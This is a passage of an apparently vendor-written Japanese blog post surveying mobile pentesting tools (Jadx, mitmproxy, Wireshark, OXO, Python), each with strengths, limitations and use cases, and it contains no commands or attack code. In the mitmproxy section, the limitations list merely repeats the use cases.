&lt;li&gt;&lt;strong&gt;静的解析のみ&lt;/strong&gt;：実行時のライブトレースやフックは行わないため、動的な挙動はほかのツールで調査する必要があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;習得の難しさ&lt;/strong&gt;：効果的に使うには、アセンブリ、バイナリ形式、リバースエンジニアリングの概念についての深い理解が必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;難読化されたコードの複雑さ&lt;/strong&gt;：高度に最適化または難読化されたバイナリでは、相当な手作業が必要になることがあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パフォーマンスの負荷&lt;/strong&gt;：非常に大きなバイナリやプロジェクトの解析は、多くのリソースを消費することがあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セットアップと設定&lt;/strong&gt;：初期セットアップとプロジェクト設定を、チームのワークフローに合わせて最適化するには時間がかかることがあります。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;当社の評価における典型的なユースケース&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ネイティブライブラリのリバースエンジニアリング&lt;/strong&gt;：AndroidおよびiOSアプリケーション内のコンパイル済みARMバイナリを解析し、セキュリティ上重要なロジックを理解して、隠れた脆弱性を発見&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;マルウェアとトロイの木馬の解析&lt;/strong&gt;：疑わしい、または悪意のあるモバイルバイナリを調査し、バックドア、C&amp;amp;C（コマンド＆コントロール）の挙動、データ持ち出しの仕組みを特定&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;サードパーティSDKの監査&lt;/strong&gt;：モバイルアプリに組み込まれた独自のソフトウェア開発キット（SDK）やクローズドソースのライブラリを調査し、そのセキュリティ態勢と信頼の前提を評価&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ファームウェアと組み込みコンポーネントの解析&lt;/strong&gt;：モバイルアプリケーションやバックエンドシステムとやり取りする組み込みコンポーネントやファームウェアのリバースエンジニアリング&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;脆弱性研究&lt;/strong&gt;：ネイティブコード内のメモリ破壊、安全でないロジックフロー、暗号の弱点、安全でない実装の発見&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;プロトコルとアルゴリズムの再構築&lt;/strong&gt;：モバイルアプリとそのバックエンドが使用する、文書化されていないプロトコル、暗号方式、独自アルゴリズムの再構築&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3. jadx"&gt;3. Jadx&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Jadxツールのインターフェース" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/Jadx.png" title="Androidエミュレーターの横にJadxツールを表示するデスクトップウィンドウ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Androidエミュレーターの横にJadxツールを表示するデスクトップウィンドウ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;JADXはオープンソースのAndroid逆コンパイラーで、当社のセキュリティチームは&lt;strong&gt;APK内のDEXバイトコードを人間が読めるJavaソースコードに変換&lt;/strong&gt;できます。これにより、元のソースコードにアクセスできなくても、モバイルアプリケーションの解析がはるかに容易になります。当社はモバイルペンテストの際にJADXを使用して、&lt;strong&gt;関数呼び出しを追跡し、APIや暗号処理のルーチンを調査し、アプリケーションのアーキテクチャを理解し、潜在的な脆弱性を特定&lt;/strong&gt;します。これらは、smaliや生のバイトコードを読むだけでは見つけにくいものです。
&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Androidアプリケーションの静的解析&lt;/strong&gt;：APKやDEXファイルからJava風のソースコードを復元し、調査を容易にする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サードパーティライブラリとファームウェアのリバースエンジニアリング&lt;/strong&gt;：ソースコードが入手できない場合にロジックを理解する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マルウェアとセキュリティの研究&lt;/strong&gt;：アプリの挙動、認証ルーチン、機密データの取り扱いを調べる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;難読化されたコードの調査&lt;/strong&gt;：難読化されたAndroidアプリケーションの可読性を高め、潜在的なセキュリティ上の欠陥を見つける&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;独自のワークフローへの組み込み&lt;/strong&gt;：CLIやライブラリモードを使い、パイプラインやツールで逆コンパイルを自動化する
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;優れている点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Java風の出力&lt;/strong&gt;：Dalvik/ARTバイトコードを構造化された読みやすいJavaコードに変換し、解析を簡単にします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多様な形式への対応&lt;/strong&gt;：APK、DEX、JAR、クラスファイル、AARライブラリ、Android App Bundle（AAB）を扱えます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対話的なGUI&lt;/strong&gt;：シンタックスハイライトとナビゲーション機能を備え、逆コンパイルしたクラス、リソース、マニフェストを閲覧できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コマンドラインインターフェース&lt;/strong&gt;：セキュリティワークフローにおけるバッチ処理と自動化を可能にします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;難読化解除のサポート&lt;/strong&gt;：基本的な難読化技術で保護されたアプリの可読性を高めるのに役立ちます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オープンソース&lt;/strong&gt;：無料で提供され、コミュニティによって活発に保守されており、連携やカスタマイズが可能です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;軽量かつ高速&lt;/strong&gt;：大量のリソースを必要とせず、ほとんどのAndroidアプリケーションを効率よく逆コンパイルできます。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;限界とトレードオフ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不完全な逆コンパイル&lt;/strong&gt;：逆コンパイルされたJavaコードは不完全だったり、手作業による解釈が必要だったりすることがあり、特に複雑なコードや最適化されたコードで顕著です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;難読化の課題&lt;/strong&gt;：高度に難読化されたアプリは、難読化解除ツールを使っても解析が難しい場合があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;静的解析のみ&lt;/strong&gt;：実行時のトレースや、稼働中のアプリケーションの挙動へのフックは行いません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一部の新しいAndroid機能への対応が限定的&lt;/strong&gt;：特定のバイトコードパターンや最適化されたビルドでは、出力の可読性が下がることがあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;習得の難しさ&lt;/strong&gt;：効果的に使うには、Androidアプリのアーキテクチャ、Java、リバースエンジニアリングの原理に精通している必要があります。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;当社の評価における典型的なユースケース&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;関数とAPIの追跡&lt;/strong&gt;：認証、暗号化、ネットワークのルーチンを調査&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サードパーティSDKとライブラリのリバースエンジニアリング&lt;/strong&gt;：外部コードがアプリとどのようにやり取りするかを理解&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マルウェアと不正アプリの解析&lt;/strong&gt;：コード内の隠れた挙動や悪意のある挙動を調査&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;難読化されたアプリケーションのレビュー&lt;/strong&gt;：コード難読化技術を使用しているアプリのセキュリティ上の欠陥を特定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティツールとの連携&lt;/strong&gt;：CI/CDや社内パイプラインでのバッチ解析に向けて逆コンパイルを自動化&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4. mitmproxy"&gt;4. mitmproxy&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="mitmproxyのターミナルインターフェース" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/mitmproxy.png" title="ネットワークトラフィックを一覧表示するmitmproxyツールのターミナルウィンドウ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;ネットワークトラフィックを一覧表示するmitmproxyツールのターミナルウィンドウ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;mitmproxyはオープンソースの対話型傍受プロキシで、当社のセキュリティチームは、モバイルアプリケーションとバックエンドサーバーの間の&lt;strong&gt;HTTP、HTTPS、WebSocketのトラフィックを調査、変更、再送&lt;/strong&gt;できます。中間者として動作し、暗号化された通信をリアルタイムで復号するため、&lt;strong&gt;API呼び出しの解析、リクエストの改ざん、認証とセッション処理のテスト、隠れた脆弱性の発見&lt;/strong&gt;が可能になります。これらは、標準的なネットワークツールやデバッグツールでは検出が難しいものです。
&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;トラフィックの調査とデバッグ&lt;/strong&gt;：HTTP/HTTPSのリクエストとレスポンスをリアルタイムでキャプチャ、調査、変更する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APIリクエストの改ざん&lt;/strong&gt;：パラメーター、ヘッダー、ペイロードを変更してバックエンドのロジックをテストする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証とセッションのテスト&lt;/strong&gt;：トークンの取り扱い、セッションのライフサイクル、認可の適用を検証する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ビジネスロジックのテスト&lt;/strong&gt;：ワークフローの欠陥、ロジックの回避、不適切な信頼の前提を検出する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TLSと証明書の解析&lt;/strong&gt;：通信のセキュリティ、暗号化の実装、証明書の取り扱いを評価する
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;優れている点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;リアルタイムの傍受&lt;/strong&gt;：モバイルアプリとサーバーの間のネットワークトラフィックを、その場で調査・編集できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TLSの復号&lt;/strong&gt;：信頼された証明書を動的に生成し、暗号化された通信を解析のために復号します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対話的なフロー制御&lt;/strong&gt;：リクエストやレスポンスをその場で一時停止、再送、変更し、バックエンドの挙動をテストできます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自動化とスクリプト&lt;/strong&gt;：Pythonベースのスクリプトに対応し、トラフィックの改ざん、ログ記録、ファジングを自動化できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;柔軟なプロキシモード&lt;/strong&gt;：通常のプロキシ、透過プロキシ、リバースプロキシ、SOCKSプロキシ、VPNベースの傍受として動作します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最新プロトコルへの対応&lt;/strong&gt;：モバイルアプリやAPIで使われるHTTP/1、HTTP/2、HTTP/3、WebSocketプロトコルを扱えます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オープンソース&lt;/strong&gt;：無料でコミュニティに支えられており、社内ワークフローや独自ツールに組み込めます。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;限界とトレードオフ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;APIトラフィックの傍受と改ざん&lt;/strong&gt;：リクエストやレスポンスをキャプチャ・編集し、バックエンドのロジックを評価&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証とセッション管理のテスト&lt;/strong&gt;：ログインフロー、トークンの取り扱い、リフレッシュのロジック、セッションの無効化をテスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アクセス制御の不備とIDORのテスト&lt;/strong&gt;：パラメーターを改ざんして認可の適用を検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ビジネスロジックの悪用テスト&lt;/strong&gt;：ワークフローの回避、競合状態、ロジックの欠陥を特定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;バックエンドのインジェクション脆弱性の発見&lt;/strong&gt;：SQLインジェクション、コマンドインジェクション、デシリアライゼーションの欠陥を検出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TLSと証明書の検証&lt;/strong&gt;：暗号化、証明書の取り扱い、通信のセキュリティ制御を評価
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;当社の評価における典型的なユースケース&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;APIトラフィックの傍受と改ざん&lt;/strong&gt;：リクエストやレスポンスをキャプチャ・編集し、バックエンドのロジックを評価&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;認証とセッション管理のテスト&lt;/strong&gt;：ログインフロー、トークンの取り扱い、リフレッシュのロジック、セッションの無効化をテスト&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;アクセス制御の不備とIDORのテスト&lt;/strong&gt;：パラメーターを改ざんして認可の適用を検証&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ビジネスロジックの悪用テスト&lt;/strong&gt;：ワークフローの回避、競合状態、ロジックの欠陥を特定&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;バックエンドのインジェクション脆弱性の発見&lt;/strong&gt;：SQLインジェクション、コマンドインジェクション、デシリアライゼーションの欠陥を検出&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;TLSと証明書の検証&lt;/strong&gt;：暗号化、証明書の取り扱い、通信のセキュリティ制御を評価&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="5. wireshark"&gt;5. Wireshark&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Wiresharkツールのインターフェース" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/wireshark.png" title="ネットワークパケットをキャプチャして解析するWiresharkを表示するデスクトップウィンドウ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;ネットワークパケットをキャプチャして解析するWiresharkを表示するデスクトップウィンドウ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Wiresharkは無料のオープンソース&lt;strong&gt;ネットワークパケットアナライザー&lt;/strong&gt;で、当社のセキュリティチームは、&lt;strong&gt;生のネットワークトラフィックをパケットレベルでキャプチャ、調査、デコード&lt;/strong&gt;できます。詳細なプロトコル解析、リアルタイムのキャプチャ、きめ細かなフィルタリングに対応しており、ネットワークやアプリケーション全体でのトラフィック解析、異常検知、トラブルシューティングのために、セキュリティの専門家に広く使われています。&lt;/p&gt;
&lt;p&gt;モバイルアプリケーションのペンテストでは、Wiresharkを使って&lt;strong&gt;根底にあるネットワークの挙動を観察&lt;/strong&gt;し、アプリが生成するトラフィックを確認し、平文での漏えいを検出し、プロトコルのフローをデバッグし、無線サービスやバックエンドサービスがクライアントとどのように通信しているかを確かめます。&lt;strong&gt;パケットがネットワーク上をどのように移動するか&lt;/strong&gt;を可視化できるため、上位レイヤーのプロキシやアプリケーションログの外側で起きる複雑なネットワークのやり取りを診断する際に特に役立ちます。
&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主な焦点&lt;/strong&gt;：最も低いレベルでのネットワークパケットのキャプチャと解析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中核的な用途&lt;/strong&gt;：モバイルアプリ、バックエンドサービス、ネットワークホストが生成するトラフィックの調査&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用上の目的&lt;/strong&gt;：生のパケットデータを、アプリケーションの挙動やネットワークフローと関連付けること&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テストの目的&lt;/strong&gt;：疑わしいトラフィック、プロトコルの誤用、データ漏えい、隠れた通信チャネルの特定
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;優れている点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;パケットレベルの可視性&lt;/strong&gt;：インターフェース上のすべてのフレームをキャプチャし、プロトコルのフィールドを詳細に分解して表示します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;詳細なプロトコル解析&lt;/strong&gt;：数百ものプロトコルを理解し、人間が読めるフィールドにデコードします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リアルタイムとオフラインの解析&lt;/strong&gt;：トラフィックをライブでキャプチャすることも、保存済みのPCAPファイルを解析することもできます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;強力なフィルタリング&lt;/strong&gt;：高度なキャプチャフィルターと表示フィルターにより、特定の通信、エンドポイント、プロトコルを切り分けられます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クロスプラットフォーム&lt;/strong&gt;：Windows、Linux、macOS、その他のUnix系システムで動作します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TSharkのサポート&lt;/strong&gt;：スクリプト作成と自動化のためのコマンドライン版があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GPLのオープンソース&lt;/strong&gt;：活発に保守されており、幅広いコミュニティの支援と拡張性を備えています。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;限界とトレードオフ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;暗号化の課題&lt;/strong&gt;：適切な鍵や外部の復号手法がなければ、暗号化されたアプリケーションのトラフィック（HTTPSなど）はデコードできません。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;受動的な解析&lt;/strong&gt;：Wiresharkはトラフィックをキャプチャして調査しますが、それ自体でトラフィックを改ざんしたり再送したりはしません。能動的なテストには、mitmproxyのようなほかのツールが必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;インターフェースの可視性の制約&lt;/strong&gt;：スイッチングネットワークや無線インターフェースでは、キャプチャを適切に設定しないと、限られたトラフィックしか見えない場合があります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リソースの消費&lt;/strong&gt;：大量のトラフィックのキャプチャと解析には、相当なCPU、メモリ、ディスク容量を消費することがあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;習得の難しさ&lt;/strong&gt;：パケットの詳細を解釈するには、ネットワークの知識とプロトコルへの精通が必要です。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;当社の評価における典型的なユースケース&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ネットワークトラフィックの確認&lt;/strong&gt;：Burpやmitmproxyなどのプロキシで見えたバックエンドAPIのリクエストとレスポンスを検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プロトコルの挙動の解析&lt;/strong&gt;：モバイルアプリがTCP/IPレベルでどのように通信しているかを理解&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;データ漏えいの発見&lt;/strong&gt;：意図しない平文トラフィックや機密データの露出を検出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;無線トラフィックの調査&lt;/strong&gt;：管理されたネットワーク上のテスト端末からのトラフィックをキャプチャして解析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実行時の挙動との関連付け&lt;/strong&gt;：ネットワークイベントを実行時のトレースやセキュリティイベントと照合
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="6.oxo"&gt;6.OXO&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="oxoツールの設定ファイル" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/oxo.png" title="モバイルアセット向けのoxoツール設定ファイルを表示するコードエディターウィンドウ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;モバイルアセット向けのoxoツール設定ファイルを表示するコードエディターウィンドウ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;OXOは、&lt;strong&gt;当社のセキュリティチームが開発した&lt;/strong&gt;オープンソースのモバイルセキュリティテスト・オーケストレーションフレームワークで、&lt;strong&gt;実際のモバイルアプリケーションのセキュリティ評価を自動化、標準化、スケール&lt;/strong&gt;させることを目的としています。大規模なAndroidおよびiOSのペンテストで当社が繰り返し直面してきた運用上のギャップに、直接対処するために構築されました。既存のツールには、複雑なテストパイプライン全体にわたるワークフローのオーケストレーション、再現性、自動化が欠けていたのです。&lt;/p&gt;
&lt;p&gt;当社のセキュリティチームは、複数のモバイルセキュリティツールを統合する&lt;strong&gt;中央の自動化・実行レイヤー&lt;/strong&gt;としてOXOを使用し、一貫したテスト、より速い実行、構造化された評価ワークフローを実現しています。スキャン、実行時テスト、アタックサーフェスの探索をオーケストレーションすることで、OXOは&lt;strong&gt;手作業の負担を減らし、カバレッジを高め、モバイルセキュリティテストを大規模に運用する&lt;/strong&gt;ことを可能にしています。
&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主な焦点&lt;/strong&gt;：モバイルセキュリティテストのオーケストレーションとワークフローの自動化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中核的な用途&lt;/strong&gt;：AndroidおよびiOSのセキュリティテストパイプラインの連携と実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用上の目的&lt;/strong&gt;：評価の標準化、手作業の削減、テストの一貫性の向上&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テストの目的&lt;/strong&gt;：スケーラブルな脆弱性の発見、アタックサーフェスのマッピング、自動化されたセキュリティ検証
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;優れている点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ツールチェーンのオーケストレーション&lt;/strong&gt;：複数のモバイルセキュリティツールを、統一されたテストワークフローにまとめます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ワークフローの自動化&lt;/strong&gt;：繰り返しのテスト作業を自動化し、より速く一貫した評価を可能にします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スケーラブルな実行&lt;/strong&gt;：大規模なテスト環境と複数ターゲットの評価に対応するよう設計されています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CDとの連携&lt;/strong&gt;：開発およびデプロイのパイプライン内で、モバイルセキュリティテストを自動化できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;拡張可能なアーキテクチャ&lt;/strong&gt;：モジュール式の設計により、新しいスキャナー、テストモジュール、独自のロジックを容易に組み込めます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ研究の促進&lt;/strong&gt;：高度なテストパイプラインや実験的なワークフローを構築するための柔軟なフレームワークを提供します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オープンソース&lt;/strong&gt;：セキュリティコミュニティに還元し、協力と透明性を促すため、完全にオープンソース化されています。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;限界とトレードオフ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;リソース使用量の多さ&lt;/strong&gt;：&lt;code&gt;oxo&lt;/code&gt;のエージェントはDocker Swarmのサービスとして実行されるため、Oxoのスキャンはメモリ/CPUの負荷が高くなることがあります。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;カスタマイズの負担&lt;/strong&gt;：高度なユースケースでは、独自のエージェントの開発が必要になる場合があります。
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;当社の評価における典型的なユースケース&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自動化されたモバイルペンテストパイプライン&lt;/strong&gt;：動的、静的、実行時のテストツールをオーケストレーション&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CDにおけるモバイルセキュリティ検証&lt;/strong&gt;：開発サイクル中の継続的なスキャンと検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アタックサーフェス検出の自動化&lt;/strong&gt;：エンドポイント、権限、公開されたAPI、バックエンドとのやり取りをマッピング&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;大規模な評価の調整&lt;/strong&gt;：複数のアプリケーションと環境にまたがるテストワークフローの管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ研究と実験&lt;/strong&gt;：脆弱性研究とエクスプロイト開発のための独自パイプラインの構築
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="7. python"&gt;7. Python&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="『Gray Hat Python』の表紙" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_02_20_top_10_mobile_pentesting_tools_in_2026/python.png" title="緑の模様が入った『Gray Hat Python』の表紙の画像"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;緑の模様が入った『Gray Hat Python』の表紙の画像&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Pythonは汎用性の高いプログラミング言語で、当社のセキュリティチームは、モバイルセキュリティテストのワークフローを自動化、拡張、オーケストレーションするために幅広く使用しています。独自ツールの迅速なプロトタイピング、繰り返し作業のスクリプト化、そして動的解析、静的解析、バックエンドテストの各ツールの連携を可能にします。&lt;/p&gt;
&lt;p&gt;当社のセキュリティチームはPythonを使って、&lt;strong&gt;テストパイプラインを構築、自動化、カスタマイズ&lt;/strong&gt;し、エクスプロイト開発を加速させ、モバイルAPIとやり取りし、複数のセキュリティツールを一貫したワークフローへとつなぎ合わせています。ライブラリとフレームワークのエコシステムによって、再現性、スケーラビリティ、精度を保ちながら、より速くセキュリティ評価を進められます。
&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最適な用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;主な焦点&lt;/strong&gt;：モバイルセキュリティテストのための自動化、スクリプト作成、独自ツール開発&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中核的な用途&lt;/strong&gt;：AndroidおよびiOSの評価に向けた独自スクリプト、スキャナー、エクスプロイトツールの開発と統合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運用上の目的&lt;/strong&gt;：手作業の削減、テストワークフローの標準化、評価の高速化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テストの目的&lt;/strong&gt;：繰り返しのテスト作業、脆弱性の発見、バックエンドAPIの検証の自動化
  &lt;br/&gt;&lt;br/&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;優れている点&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;迅速なスクリプト作成とプロトタイピング&lt;/strong&gt;：特定のシナリオのテスト、ペイロードの自動化、ツールの拡張のためのスクリプトをすばやく作成できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ツールの連携&lt;/strong&gt;：Frida、OXO、その他のセキュリティツールをつなぐ「接着剤」の役割を果たします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;豊富なライブラリのエコシステム&lt;/strong&gt;：ネットワークリクエスト、APIとのやり取り、ファジング、暗号などのためのモジュールを活用できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;独自の自動化パイプライン&lt;/strong&gt;：モバイル評価のための、再利用可能でスケーラブルなテストワークフローを構築できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エクスプロイトとPOCの開発&lt;/strong&gt;：概念実証（PoC）攻撃や脆弱性のエクスプロイトを迅速にプロトタイピングできます。&lt;/li&gt;
